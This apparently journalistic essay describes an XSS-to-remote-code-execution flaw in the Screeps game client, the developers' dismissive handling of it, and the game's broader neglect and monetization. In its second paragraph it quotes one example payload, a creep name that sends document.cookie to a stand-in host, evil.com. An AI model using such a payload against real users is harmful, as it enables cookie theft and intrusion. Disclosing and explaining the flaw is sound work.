Screeps: How A Game About Programming Sold Its Players a Remote Access Trojan

The promise of Screeps is uniquely compelling: a massively multiplayer online real-time strategy game where you don't command units directly, but instead write the JavaScript code that governs their every action. It's a game about automation, strategy, and programming skill, where your creeps—autonomous units that gather resources, build structures, and fight enemies—are extensions of your own logic. For years, it has been celebrated as one of the most effective tools for learning real programming, offering a sandbox where code has immediate, tangible consequences in a persistent world. Yet, beneath this elegant premise lay a critical flaw: the game's client, both the browser and Steam versions, contained a vulnerability that effectively turned every player's machine into a potential remote access Trojan for any other player in the same world.

The core of the vulnerability centered on how Screeps handles console output. In a typical programming environment, console.log() is a safe function used for debugging, outputting plain text to a developer console. In Screeps, however, the developers had implemented this function to parse and render HTML, allowing players to style their in-game logs with bold, italics, or other formatting. This seemingly innocuous feature created a classic cross-site scripting (XSS) vector. A player could name their creep with a malicious string containing HTML and JavaScript, such as <script>new Image().src='http://evil.com?'+document.cookie</script>. If another player's code happened to log the name of that creep—for instance, to track combat encounters—the malicious script would execute within the victim's browser context.

This was not merely a theoretical risk. The game's client, particularly the Steam version, runs with Node.js integration enabled, granting access to Node's child_process module. This means the injected code could execute arbitrary commands on the host machine, achieving full remote code execution (RCE). The attack chain was straightforward: an attacker creates a creep with a malicious name; a victim's code logs that name; the victim's browser executes the attacker's script; the attacker gains control over the victim's computer. The game's architecture, which runs player code on a central server but displays results in a local client, created this dangerous bridge between server-side game logic and client-side execution.

The vulnerability was first reported publicly on GitHub over two years prior to the article's publication. The developers' response was a study in negligence. They closed the issue, stating they did not see it as a serious security threat. For years, the vulnerability persisted, despite being a one-line fix to sanitize HTML output. The community was aware of the issue; the official Discord even had a channel dedicated to sharing client-side modifications that exploited this very vulnerability for modding purposes. Yet, no warning was issued to new players, and many popular open-source bots used unsafe console.log statements, exposing their users to risk.

When the vulnerability was brought to light again through this article, the developers' response was defensive and dismissive. They rolled out a fix within hours—splitting the function into console.log (sanitized) and console.logUnsafe (raw HTML)—but continued to deny the severity of the issue. In public statements, they argued that the vulnerability was not a "true" security flaw because it required a player to log another player's controlled input, comparing it to copy-pasting untrusted code into a browser's console. This analogy is fundamentally flawed. console.log is a standard, safe function in JavaScript; Screeps secretly altered its behavior to be dangerous without documenting the change. The responsibility for this design choice lies entirely with the developers, not the users.

The incident highlights a critical tension in software design, particularly in platforms that blend user-generated content with system execution. When players write code that runs in a shared environment, the platform must enforce strict boundaries between sandboxed game logic and the host system. Screeps failed to do this, treating the client as a passive display rather than an active execution environment. The developers' claim that the risk was minimal because it required "a certain willingness on the part of the potential victim" ignores the reality of software development: developers routinely log data for debugging, including dynamic content like object names or states. Expecting every user to anticipate and sanitize every possible input is unrealistic and shifts blame from the platform's design flaws to the user's actions.

Beyond the security issue, Screeps suffers from broader neglect. The game's UI is notoriously slow, with world map loads taking up to 15 seconds and frequent lag. Basic features, like placing flags on the map, are cumbersome and inefficient. Documentation is incomplete and often incorrect, with functions like findPath using suboptimal heuristics that lead to creeps dying unexpectedly. The core gameplay loop, while brilliant, is hampered by technical debt that has gone unaddressed for years. Instead of fixing these foundational issues, the developers have focused on monetization strategies: seasonal worlds requiring paid access keys, cosmetic decorations, and a new pay-to-win market system that allows real-money purchases of in-game resources.

The financial context is telling. The developers, a small team of two, have faced hardships, including sanctions and relocation, and acknowledge that the game's revenue over a decade is modest—likely around $1 million. This is far below typical software salaries, and it underscores the challenges of maintaining a niche game. However, it does not excuse the security negligence or the prioritization of monetization over stability. The decision to introduce a pay-to-win economy while core features remain broken suggests a misalignment between developer incentives and player experience.

The community's reaction has been mixed. Many players are grateful for the fix and appreciate the game's unique educational value. Others, particularly long-time players, have been defensive of the developers, viewing the article as clickbait or defamation. This divide reflects a common pattern in gaming communities: attachment to a beloved product can lead to dismissing valid criticism. Yet, the fact that the vulnerability was actively used for client modding—and that popular bots were vulnerable—demonstrates that the risk was real and widespread.

Screeps remains a remarkable concept. Its core idea—programming autonomous agents in a persistent world—is elegant and engaging. The open-source server code allows for community-driven alternatives, and third-party clients have emerged that address some of the security and usability issues. This offers a path forward: a community-maintained version of Screeps that prioritizes security, performance, and player trust. For now, players should be aware of the risks and take precautions, such as overriding console.log to sanitize output or avoiding the official client altogether.

The broader lesson for software developers is clear: when designing platforms that execute user code, security must be the foundation, not an afterthought. Functions that appear safe in one context can become dangerous in another, and transparency about such changes is non-negotiable. Screeps' failure to address a simple, well-documented vulnerability for years, followed by a defensive and misleading response, erodes trust and highlights the perils of neglecting core responsibilities in favor of new features or monetization. For a game built on teaching programming, it ironically demonstrates how not to build secure software.

Despite its flaws, Screeps continues to attract players because the underlying idea is so powerful. The hope is that the community, or perhaps a more responsible steward, will eventually fulfill the game's promise—a secure, stable, and truly educational platform for coding in a living world. Until then, players must navigate the risks with eyes open, understanding that the code they write and the client they run are part of a system where security cannot be taken for granted.